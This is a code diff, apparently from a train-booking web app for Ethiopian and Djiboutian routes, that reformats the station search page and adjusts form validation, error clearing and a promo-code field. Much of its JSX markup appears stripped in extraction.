'@/components/ModernDatePicker'; + MapPin, + ArrowRight, + ArrowLeftRight, + Plus, + Minus, + Search, + Users, + ChevronDown, + Gift, + Check, + X, + ChevronLeft, + Clock, + Zap, +} from "lucide-react"; +import { useEffect, useRef, useState, useCallback } from "react"; +import ModernDatePicker from "@/components/ModernDatePicker"; -const searchSchema = z.object({ - tripType: z.enum(['ONE_WAY', 'ROUND_TRIP']), - originStationId: z.string().min(1, 'Please select origin station'), - destinationStationId: z.string().min(1, 'Please select destination station'), - departureDate: z.string().min(1, 'Please select departure date'), - returnDate: z.string().optional(), - adultCount: z.number().min(1).max(9), - childCount: z.number().min(0).max(9), - nationality: z.enum(['ETHIOPIAN', 'DJIBOUTIAN', 'OTHER']), - promoCode: z.string().optional(), -}).refine((d) => d.originStationId !== d.destinationStationId, { - message: 'Origin and destination must be different', - path: ['destinationStationId'], -}).refine((d) => { - if (d.tripType === 'ROUND_TRIP' && !d.returnDate) { - return false; - } - return true; -}, { - message: 'Please select return date', - path: ['returnDate'], -}).refine((d) => { - if (d.tripType === 'ROUND_TRIP' && d.returnDate && d.departureDate) { - return d.returnDate >= d.departureDate; - } - return true; -}, { - message: 'Return date must be after departure date', - path: ['returnDate'], -}); +const searchSchema = z + .object({ + tripType: z.enum(["ONE_WAY", "ROUND_TRIP"]), + originStationId: z.string().min(1, "Please select your departure station"), + destinationStationId: z + .string() + .min(1, "Please select your destination station"), + departureDate: z.string().min(1, "Please select your departure date"), + returnDate: z.string().optional(), + adultCount: z.number().min(1).max(9), + childCount: z.number().min(0).max(9), + nationality: z.enum(["ETHIOPIAN", "DJIBOUTIAN", "OTHER"]), + promoCode: z.string().optional(), + }) + .refine( + (d) => { + if (d.tripType === "ROUND_TRIP" && !d.returnDate) { + return false; + } + return true; + }, + { + message: "Please select return date", + path: ["returnDate"], + }, + ) + .refine( + (d) => { + if (d.tripType === "ROUND_TRIP" && d.returnDate && d.departureDate) { + return d.returnDate >= d.departureDate; + } + return true; + }, + { + message: "Return date must be after departure date", + path: ["returnDate"], + }, + ); type SearchForm = z.infer; const POPULAR_ROUTES = [ - { from: 'Sebeta', to: 'Nagad', duration: '12h', icon: '๐ŸŒ†' }, - { from: 'Sebeta', to: 'Diredawa', duration: '8h', icon: '๐Ÿ”๏ธ' }, - { from: 'Diredawa', to: 'Nagad', duration: '4h', icon: '๐ŸŒŠ' }, + { from: "Sebeta", to: "Nagad", duration: "12h", icon: "๐ŸŒ†" }, + { from: "Sebeta", to: "Diredawa", duration: "8h", icon: "๐Ÿ”๏ธ" }, + { from: "Diredawa", to: "Nagad", duration: "4h", icon: "๐ŸŒŠ" }, ]; // โ”€โ”€โ”€ Station Modal โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ @@ -71,7 +91,7 @@ function StationModal({ onClose: () => void; recentIds: string[]; }) { - const [query, setQuery] = useState(''); + const [query, setQuery] = useState(""); const inputRef = useRef(null); useEffect(() => { @@ -83,7 +103,7 @@ function StationModal({ (s) => s.id !== excludeId && (s.name.toLowerCase().includes(query.toLowerCase()) || - s.code?.toLowerCase().includes(query.toLowerCase())) + s.code?.toLowerCase().includes(query.toLowerCase())), ) : stations.filter((s) => s.id !== excludeId); @@ -102,7 +122,9 @@ function StationModal({ > -

{title}

+

+ {title} +

{/* Search input */} @@ -119,7 +141,7 @@ function StationModal({ {query && (
-

{s.name}

+

+ {s.name} +

{s.code &&

{s.code}

}
@@ -153,7 +179,7 @@ function StationModal({ )}

- {query ? 'Results' : 'All Stations'} + {query ? "Results" : "All Stations"}

{filtered.length === 0 ? (
@@ -172,8 +198,14 @@ function StationModal({
-

{s.name}

- {s.code &&

{s.code} โ€ข {s.country}

} +

+ {s.name} +

+ {s.code && ( +

+ {s.code} โ€ข {s.country} +

+ )}
)) @@ -202,14 +234,28 @@ function PassengerModal({ onClose: () => void; }) { const rows = [ - { label: 'Adults', sub: 'โ‰ฅ 5 years', val: adultCount, min: 1, max: 9, onChange: onChangeAdult }, - { label: 'Children', sub: '< 5 years โ€ข First child free', val: childCount, min: 0, max: 9, onChange: onChangeChild }, + { + label: "Adults", + sub: "โ‰ฅ 5 years", + val: adultCount, + min: 1, + max: 9, + onChange: onChangeAdult, + }, + { + label: "Children", + sub: "< 5 years โ€ข First child free", + val: childCount, + min: 0, + max: 9, + onChange: onChangeChild, + }, ]; const natOptions = [ - { value: 'ETHIOPIAN', label: '๐Ÿ‡ช๐Ÿ‡น Ethiopian' }, - { value: 'DJIBOUTIAN', label: '๐Ÿ‡ฉ๐Ÿ‡ฏ Djiboutian' }, - { value: 'OTHER', label: '๐ŸŒ Other' }, + { value: "ETHIOPIAN", label: "๐Ÿ‡ช๐Ÿ‡น Ethiopian" }, + { value: "DJIBOUTIAN", label: "๐Ÿ‡ฉ๐Ÿ‡ฏ Djiboutian" }, + { value: "OTHER", label: "๐ŸŒ Other" }, ]; return ( @@ -217,7 +263,7 @@ function PassengerModal({
@@ -225,29 +271,49 @@ function PassengerModal({
-

Passengers & Nationality

+

+ Passengers & Nationality +

-
{rows.map(({ label, sub, val, min, max, onChange }, i) => (
- {i > 0 &&
} + {i > 0 && ( +
+ )}
-

{label}

+

+ {label} +

{sub}

- - {val} -
@@ -255,15 +321,21 @@ function PassengerModal({
))}
-

Nationality

+

+ Nationality +

{natOptions.map((opt) => ( - ))} @@ -271,9 +343,13 @@ function PassengerModal({
-
@@ -302,22 +378,23 @@ function StationDropdown({ recentIds: string[]; onOpen?: () => void; }) { - const [query, setQuery] = useState(''); + const [query, setQuery] = useState(""); const [open, setOpen] = useState(false); const ref = useRef(null); const inputRef = useRef(null); const selectedStation = stations.find((s) => s.id === value); useEffect(() => { - if (selectedStation && !open) setQuery(''); + if (selectedStation && !open) setQuery(""); }, [selectedStation, open]); useEffect(() => { const handler = (e: MouseEvent) => { - if (ref.current && !ref.current.contains(e.target as Node)) setOpen(false); + if (ref.current && !ref.current.contains(e.target as Node)) + setOpen(false); }; - document.addEventListener('mousedown', handler); - return () => document.removeEventListener('mousedown', handler); + document.addEventListener("mousedown", handler); + return () => document.removeEventListener("mousedown", handler); }, []); const filtered = query.trim() @@ -325,32 +402,46 @@ function StationDropdown({ (s) => s.id !== excludeId && (s.name.toLowerCase().includes(query.toLowerCase()) || - s.code?.toLowerCase().includes(query.toLowerCase())) + s.code?.toLowerCase().includes(query.toLowerCase())), ) : stations.filter((s) => s.id !== excludeId).slice(0, 8); - const displayValue = open ? query : (selectedStation?.name ?? ''); + const displayValue = open ? query : (selectedStation?.name ?? ""); return (
{ setQuery(e.target.value); setOpen(true); }} - onFocus={() => { setQuery(''); setOpen(true); onOpen?.(); }} + onChange={(e) => { + setQuery(e.target.value); + setOpen(true); + }} + onFocus={() => { + setQuery(""); + setOpen(true); + onOpen?.(); + }} placeholder={placeholder} className="w-full pl-10 pr-8 py-3.5 bg-transparent rounded-xl focus:outline-none text-sm text-gray-900 dark:text-white placeholder-gray-400" /> {value && ( ))}
)} {filtered.length === 0 ? ( -

No stations found

+

+ No stations found +

) : ( filtered.map((s) => ( )) @@ -413,13 +524,23 @@ export default function SearchPage() { const [passengerModalOpen, setPassengerModalOpen] = useState(false); const [promoVisible, setPromoVisible] = useState(false); - const [promoCode, setPromoCode] = useState(''); - const [promoValidation, setPromoValidation] = useState<{ valid: boolean; message: string } | null>(null); + const [promoCode, setPromoCode] = useState(""); + const [promoValidation, setPromoValidation] = useState<{ + valid: boolean; + message: string; + } | null>(null); const [promoLoading, setPromoLoading] = useState(false); const [swapping, setSwapping] = useState(false); - const [stationModal, setStationModal] = useState<'origin' | 'destination' | null>(null); + const [stationModal, setStationModal] = useState< + "origin" | "destination" | null + >(null); + const [hasInteracted, setHasInteracted] = useState(false); const [recentStationIds, setRecentStationIds] = useState(() => { - try { return JSON.parse(localStorage.getItem('edr_recent_stations') || '[]'); } catch { return []; } + try { + return JSON.parse(localStorage.getItem("edr_recent_stations") || "[]"); + } catch { + return []; + } }); const passengerRef = useRef(null); const widgetRef = useRef(null); @@ -429,72 +550,100 @@ export default function SearchPage() { if (!el) return; const headerHeight = 64; const marginTop = 24; - const top = el.getBoundingClientRect().top + window.scrollY - headerHeight - marginTop; - window.scrollTo({ top, behavior: 'smooth' }); + const top = + el.getBoundingClientRect().top + + window.scrollY - + headerHeight - + marginTop; + window.scrollTo({ top, behavior: "smooth" }); }; - const { data: stations = [], isLoading, error } = useQuery({ - queryKey: ['stations'], - queryFn: async () => await apiClient.get('/stations') as Station[], + const { + data: stations = [], + isLoading, + error, + } = useQuery({ + queryKey: ["stations"], + queryFn: async () => (await apiClient.get("/stations")) as Station[], }); - const { handleSubmit, watch, setValue, formState: { errors } } = useForm({ + const { + handleSubmit, + watch, + setValue, + trigger, + clearErrors, + formState: { errors }, + } = useForm({ resolver: zodResolver(searchSchema as any), + mode: "onSubmit", + reValidateMode: "onSubmit", defaultValues: { - tripType: 'ONE_WAY', + tripType: "ONE_WAY", adultCount: 1, childCount: 0, - nationality: 'ETHIOPIAN', - departureDate: new Date().toISOString().split('T')[0], - promoCode: '', + nationality: "ETHIOPIAN", + departureDate: new Date().toISOString().split("T")[0], + promoCode: "", }, }); useEffect(() => { if (isAuthenticated && user?.nationality) { const n = user.nationality.toUpperCase().trim(); - setValue('nationality', n.includes('DJIBOUTIAN') ? 'DJIBOUTIAN' : n.includes('ETHIOPIAN') ? 'ETHIOPIAN' : 'OTHER'); + setValue( + "nationality", + n.includes("DJIBOUTIAN") + ? "DJIBOUTIAN" + : n.includes("ETHIOPIAN") + ? "ETHIOPIAN" + : "OTHER", + ); } }, [isAuthenticated, user?.nationality, setValue]); useEffect(() => { - const o = searchParams.get('origin'); - const d = searchParams.get('destination'); - const date = searchParams.get('date'); - const adults = searchParams.get('adults'); - const children = searchParams.get('children'); - const nat = searchParams.get('nationality'); - if (o) setValue('originStationId', o); - if (d) setValue('destinationStationId', d); - if (date) setValue('departureDate', date); - if (adults) setValue('adultCount', parseInt(adults)); - if (children) setValue('childCount', parseInt(children)); - if (nat) setValue('nationality', nat as 'ETHIOPIAN' | 'DJIBOUTIAN' | 'OTHER'); + const o = searchParams.get("origin"); + const d = searchParams.get("destination"); + const date = searchParams.get("date"); + const adults = searchParams.get("adults"); + const children = searchParams.get("children"); + const nat = searchParams.get("nationality"); + if (o) setValue("originStationId", o); + if (d) setValue("destinationStationId", d); + if (date) setValue("departureDate", date); + if (adults) setValue("adultCount", parseInt(adults)); + if (children) setValue("childCount", parseInt(children)); + if (nat) + setValue("nationality", nat as "ETHIOPIAN" | "DJIBOUTIAN" | "OTHER"); }, [searchParams, setValue]); useEffect(() => { const handler = (e: MouseEvent) => { - if (passengerRef.current && !passengerRef.current.contains(e.target as Node)) { + if ( + passengerRef.current && + !passengerRef.current.contains(e.target as Node) + ) { setPassengerModalOpen(false); } }; - document.addEventListener('mousedown', handler); - return () => document.removeEventListener('mousedown', handler); + document.addEventListener("mousedown", handler); + return () => document.removeEventListener("mousedown", handler); }, []); - const originId = watch('originStationId'); - const destId = watch('destinationStationId'); - const adultCount = watch('adultCount'); - const childCount = watch('childCount'); - const departureDate = watch('departureDate'); - const returnDate = watch('returnDate'); - const tripType = watch('tripType'); + const originId = watch("originStationId"); + const destId = watch("destinationStationId"); + const adultCount = watch("adultCount"); + const childCount = watch("childCount"); + const departureDate = watch("departureDate"); + const returnDate = watch("returnDate"); + const tripType = watch("tripType"); const totalPassengers = (adultCount || 1) + (childCount || 0); const saveRecent = useCallback((id: string) => { setRecentStationIds((prev) => { const next = [id, ...prev.filter((x) => x !== id)].slice(0, 5); - localStorage.setItem('edr_recent_stations', JSON.stringify(next)); + localStorage.setItem("edr_recent_stations", JSON.stringify(next)); return next; }); }, []); @@ -503,8 +652,8 @@ export default function SearchPage() { if (!originId || !destId) return; setSwapping(true); setTimeout(() => { - setValue('originStationId', destId); - setValue('destinationStationId', originId); + setValue("originStationId", destId); + setValue("destinationStationId", originId); setSwapping(false); }, 300); }; @@ -513,20 +662,31 @@ export default function SearchPage() { if (!promoCode.trim()) return setPromoValidation(null); setPromoLoading(true); try { - const res = await apiClient.post('/promos/validate', { code: promoCode }) as any; + const res = (await apiClient.post("/promos/validate", { + code: promoCode, + })) as any; const valid = res.applicable || res.valid; - setPromoValidation({ valid, message: res.message || (valid ? 'Promo applied!' : 'Invalid promo code') }); - if (valid) setValue('promoCode', promoCode); - else setPromoCode(''); + setPromoValidation({ + valid, + message: + res.message || (valid ? "Promo applied!" : "Invalid promo code"), + }); + if (valid) setValue("promoCode", promoCode); + else setPromoCode(""); } catch (err: any) { - setPromoValidation({ valid: false, message: err?.response?.data?.message || 'Promo code is invalid or expired' }); - setPromoCode(''); + setPromoValidation({ + valid: false, + message: + err?.response?.data?.message || "Promo code is invalid or expired", + }); + setPromoCode(""); } finally { setPromoLoading(false); } }; const onSubmit = (data: SearchForm) => { + setHasInteracted(true); setSearchCriteria(data); if (data.originStationId) saveRecent(data.originStationId); if (data.destinationStationId) saveRecent(data.destinationStationId); @@ -538,7 +698,8 @@ export default function SearchPage() { adults: data.adultCount.toString(), children: data.childCount.toString(), nationality: data.nationality, - ...(data.tripType === 'ROUND_TRIP' && data.returnDate && { returnDate: data.returnDate }), + ...(data.tripType === "ROUND_TRIP" && + data.returnDate && { returnDate: data.returnDate }), ...(data.promoCode && { promoCode: data.promoCode }), }); router.push(`/booking/results?${params}`); @@ -549,12 +710,16 @@ export default function SearchPage() { const destStation = getStationById(destId); const handlePopularRoute = (fromName: string, toName: string) => { - const origin = stations.find((s) => s.name.toLowerCase().includes(fromName.toLowerCase())); - const dest = stations.find((s) => s.name.toLowerCase().includes(toName.toLowerCase())); + const origin = stations.find((s) => + s.name.toLowerCase().includes(fromName.toLowerCase()), + ); + const dest = stations.find((s) => + s.name.toLowerCase().includes(toName.toLowerCase()), + ); if (origin && dest) { - setValue('originStationId', origin.id); - setValue('destinationStationId', dest.id); - window.scrollTo({ top: 0, behavior: 'smooth' }); + setValue("originStationId", origin.id); + setValue("destinationStationId", dest.id); + window.scrollTo({ top: 0, behavior: "smooth" }); } }; @@ -565,36 +730,45 @@ export default function SearchPage() { setValue('adultCount', n)} - onChangeChild={(n) => setValue('childCount', n)} - onChangeNationality={(v) => setValue('nationality', v as any)} + nationality={watch("nationality")} + onChangeAdult={(n) => setValue("adultCount", n)} + onChangeChild={(n) => setValue("childCount", n)} + onChangeNationality={(v) => setValue("nationality", v as any)} onClose={() => setPassengerModalOpen(false)} /> )} {/* Station modals (mobile) */} - {stationModal === 'origin' && ( + {stationModal === "origin" && ( { - if (s.id) { setValue('originStationId', s.id); saveRecent(s.id); } + if (s.id) { + setValue("originStationId", s.id); + saveRecent(s.id); + clearErrors("originStationId"); + clearErrors("destinationStationId"); + } setStationModal(null); }} onClose={() => setStationModal(null)} /> )} - {stationModal === 'destination' && ( + {stationModal === "destination" && ( { - if (s.id) { setValue('destinationStationId', s.id); saveRecent(s.id); } + if (s.id) { + setValue("destinationStationId", s.id); + saveRecent(s.id); + clearErrors("destinationStationId"); + } setStationModal(null); }} onClose={() => setStationModal(null)} @@ -604,61 +778,76 @@ export default function SearchPage() { {/* โ”€โ”€ 90vh hero with banner image โ”€โ”€ */}
- {/* Background image */} -
+ {/* Background image with zoom - fully isolated */} +
+
+
{/* Gradient overlay */}
{/* Hero headline โ€” top area */}
-

- Where are you
headed today? +

+ Where are you +
headed today?

-

Book your train journey across East Africa

+

+ Book your train journey across East Africa +

{/* โ”€โ”€ Widget โ€” absolutely positioned at bottom with margin โ”€โ”€ */} -
+
- {error && (
โš ๏ธ - Unable to load stations. Please check your connection. + + Unable to load stations. Please check your connection. +
)}
- {/* Trip Type Tabs */}
- -
-
- +
setValue('departureDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)} - minDate={new Date()} placeholder="Select date" + value={ + departureDate + ? new Date(departureDate + "T00:00:00") + : undefined + } + onChange={(date) => { + setValue( + "departureDate", + `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`, + ); + trigger("departureDate"); + }} + minDate={new Date()} + placeholder="Select date" />
- {tripType === 'ROUND_TRIP' && ( + {tripType === "ROUND_TRIP" && (
- +
setValue('returnDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)} - minDate={departureDate ? new Date(departureDate + 'T00:00:00') : new Date()} + value={ + returnDate + ? new Date(returnDate + "T00:00:00") + : undefined + } + onChange={(date) => { + setValue( + "returnDate", + `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`, + ); + trigger("returnDate"); + }} + minDate={ + departureDate + ? new Date(departureDate + "T00:00:00") + : new Date() + } placeholder="Select return date" />
- {errors.returnDate &&

{errors.returnDate.message}

} + {errors.returnDate && ( +

+ {errors.returnDate.message} +

+ )}
)} {/* Pax + Nationality combined trigger */} - - @@ -743,59 +1024,132 @@ export default function SearchPage() { {/* Desktop: dynamic layout based on trip type */}
- {tripType === 'ONE_WAY' ? ( + {tripType === "ONE_WAY" ? ( // ONE WAY: Single row layout
{/* From */}
- - { setValue('originStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.originStationId?.message} onOpen={scrollWidgetIntoView} /> - {errors.originStationId &&

{errors.originStationId.message}

} + + { + setHasInteracted(true); + setValue("originStationId", s.id); + if (s.id) saveRecent(s.id); + clearErrors("originStationId"); + clearErrors("destinationStationId"); + }} + error={hasInteracted ? errors.originStationId?.message : undefined} + onOpen={scrollWidgetIntoView} + /> + {hasInteracted && errors.originStationId && ( +

+ {errors.originStationId.message} +

+ )}
{/* Swap */} - {/* To */}
- - { setValue('destinationStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.destinationStationId?.message} onOpen={scrollWidgetIntoView} /> - {errors.destinationStationId &&

{errors.destinationStationId.message}

} + + { + setHasInteracted(true); + setValue("destinationStationId", s.id); + if (s.id) saveRecent(s.id); + clearErrors("destinationStationId"); + }} + error={hasInteracted ? errors.destinationStationId?.message : undefined} + onOpen={scrollWidgetIntoView} + /> + {hasInteracted && errors.destinationStationId && ( +

+ {errors.destinationStationId.message} +

+ )}
{/* Divider */}
{/* Date */}
- +
setValue('departureDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)} - minDate={new Date()} placeholder="Departure" + value={ + departureDate + ? new Date(departureDate + "T00:00:00") + : undefined + } + onChange={(date) => { + setValue( + "departureDate", + `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`, + ); + trigger("departureDate"); + }} + minDate={new Date()} + placeholder="Departure" />
- {errors.departureDate &&

{errors.departureDate.message}

} + {errors.departureDate && ( +

+ {errors.departureDate.message} +

+ )}
{/* Divider */}
{/* Pax + Nationality */}
- -
{/* Search */} - @@ -807,49 +1161,130 @@ export default function SearchPage() {
{/* From */}
- - { setValue('originStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.originStationId?.message} onOpen={scrollWidgetIntoView} /> - {errors.originStationId &&

{errors.originStationId.message}

} + + { + setHasInteracted(true); + setValue("originStationId", s.id); + if (s.id) saveRecent(s.id); + clearErrors("originStationId"); + clearErrors("destinationStationId"); + }} + error={hasInteracted ? errors.originStationId?.message : undefined} + onOpen={scrollWidgetIntoView} + /> + {hasInteracted && errors.originStationId && ( +

+ {errors.originStationId.message} +

+ )}
{/* Swap */} - {/* To */}
- - { setValue('destinationStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.destinationStationId?.message} onOpen={scrollWidgetIntoView} /> - {errors.destinationStationId &&

{errors.destinationStationId.message}

} + + { + setHasInteracted(true); + setValue("destinationStationId", s.id); + if (s.id) saveRecent(s.id); + clearErrors("destinationStationId"); + }} + error={hasInteracted ? errors.destinationStationId?.message : undefined} + onOpen={scrollWidgetIntoView} + /> + {hasInteracted && errors.destinationStationId && ( +

+ {errors.destinationStationId.message} +

+ )}
{/* Divider */}
{/* Departure Date */}
- +
setValue('departureDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)} - minDate={new Date()} placeholder="Select date" - /> -
- {errors.departureDate &&

{errors.departureDate.message}

} -
- {/* Return Date */} -
- -
- setValue('returnDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)} - minDate={departureDate ? new Date(departureDate + 'T00:00:00') : new Date()} + value={ + departureDate + ? new Date(departureDate + "T00:00:00") + : undefined + } + onChange={(date) => { + setValue( + "departureDate", + `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`, + ); + trigger("departureDate"); + trigger("returnDate"); + }} + minDate={new Date()} placeholder="Select date" />
- {errors.returnDate &&

{errors.returnDate.message}

} + {errors.departureDate && ( +

+ {errors.departureDate.message} +

+ )} +
+ {/* Return Date */} +
+ +
+ { + setValue( + "returnDate", + `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}`, + ); + trigger("returnDate"); + }} + minDate={ + departureDate + ? new Date(departureDate + "T00:00:00") + : new Date() + } + placeholder="Select date" + /> +
+ {errors.returnDate && ( +

+ {errors.returnDate.message} +

+ )}
@@ -858,38 +1293,73 @@ export default function SearchPage() { {/* Promo Code */}
{!promoVisible ? ( - ) : (
- { setPromoCode(e.target.value.toUpperCase()); if (promoValidation) setPromoValidation(null); }} + { + setPromoCode( + e.target.value.toUpperCase(), + ); + if (promoValidation) + setPromoValidation(null); + }} placeholder="Enter promo code" - onKeyDown={(e) => e.key === 'Enter' && (e.preventDefault(), handleValidatePromo())} + onKeyDown={(e) => + e.key === "Enter" && + (e.preventDefault(), + handleValidatePromo()) + } className="w-full pl-9 pr-3 py-3.5 border-2 border-gray-200 dark:border-gray-700 rounded-xl focus:outline-none focus:ring-2 focus:ring-primary/30 text-sm bg-white dark:bg-gray-800 text-gray-900 dark:text-white placeholder-gray-400" - autoFocus /> + autoFocus + />
- -
{promoValidation && ( -
- {promoValidation.valid && } +
+ {promoValidation.valid && ( + + )} {promoValidation.message}
)} @@ -900,21 +1370,36 @@ export default function SearchPage() {
{/* Pax + Nationality */}
- -
{/* Search Button */}
- - @@ -925,11 +1410,14 @@ export default function SearchPage() {
{/* Promo - Only visible in ONE WAY mode on desktop */} - {tripType === 'ONE_WAY' && ( + {tripType === "ONE_WAY" && (
{!promoVisible ? ( - @@ -938,25 +1426,49 @@ export default function SearchPage() {
- { setPromoCode(e.target.value.toUpperCase()); if (promoValidation) setPromoValidation(null); }} + { + setPromoCode(e.target.value.toUpperCase()); + if (promoValidation) setPromoValidation(null); + }} placeholder="Enter promo code" - onKeyDown={(e) => e.key === 'Enter' && (e.preventDefault(), handleValidatePromo())} + onKeyDown={(e) => + e.key === "Enter" && + (e.preventDefault(), handleValidatePromo()) + } className="w-full pl-9 pr-3 py-2.5 border-2 border-gray-200 rounded-xl focus:outline-none focus:ring-2 focus:ring-primary/30 text-sm bg-white placeholder-gray-400" - autoFocus /> + autoFocus + />
- -
{promoValidation && ( -
- {promoValidation.valid && } +
+ {promoValidation.valid && ( + + )} {promoValidation.message}
)} @@ -964,7 +1476,6 @@ export default function SearchPage() { )}
)} -
@@ -978,12 +1489,18 @@ export default function SearchPage() {
-

Popular Routes

+

+ Popular Routes +

{POPULAR_ROUTES.map((route, idx) => ( -
@@ -157,7 +165,7 @@ export default function AppHeader() { )} - + data.originStationId !== data.destinationStationId, { +}).refine((data) => { + if (!data.originStationId || !data.destinationStationId) return true; + return data.originStationId !== data.destinationStationId; +}, { message: 'Origin and destination must be different', path: ['destinationStationId'], }); @@ -43,10 +46,15 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps) queryFn: async () => await apiClient.get('/stations') as Station[], }); - const { register, handleSubmit, watch, setValue, formState: { errors } } = useForm({ - resolver: zodResolver(searchSchema as any), + const { register, handleSubmit, watch, setValue, clearErrors, formState: { errors } } = useForm({ + // @ts-ignore - ZodEffects type compatibility issue + resolver: zodResolver(searchSchema), + mode: 'onSubmit', + reValidateMode: 'onChange', defaultValues: { tripType: 'ONE_WAY', + originStationId: '', + destinationStationId: '', adultCount: 1, childCount: 0, nationality: 'ETHIOPIAN', @@ -89,8 +97,14 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps)
{errors.originStationId && ( -

{errors.originStationId.message}

+

{errors.originStationId.message}

)}
@@ -110,8 +124,14 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps)
{errors.destinationStationId && ( -

{errors.destinationStationId.message}

+

{errors.destinationStationId.message}

)}
@@ -135,12 +155,13 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps) const month = String(date.getMonth() + 1).padStart(2, '0'); const day = String(date.getDate()).padStart(2, '0'); setValue('departureDate', `${year}-${month}-${day}`); + clearErrors('departureDate'); }} minDate={new Date()} placeholder="Select date" /> {errors.departureDate && ( -

{errors.departureDate.message}

+

{errors.departureDate.message}

)}
@@ -267,6 +288,17 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps) {/* Row 3: Search Button */}
+ {/* Debug info - remove after testing */} + {Object.keys(errors).length > 0 && ( +
+

Validation Errors:

+
    + {Object.entries(errors).map(([key, value]) => ( +
  • {key}: {value?.message}
  • + ))} +
+
+ )}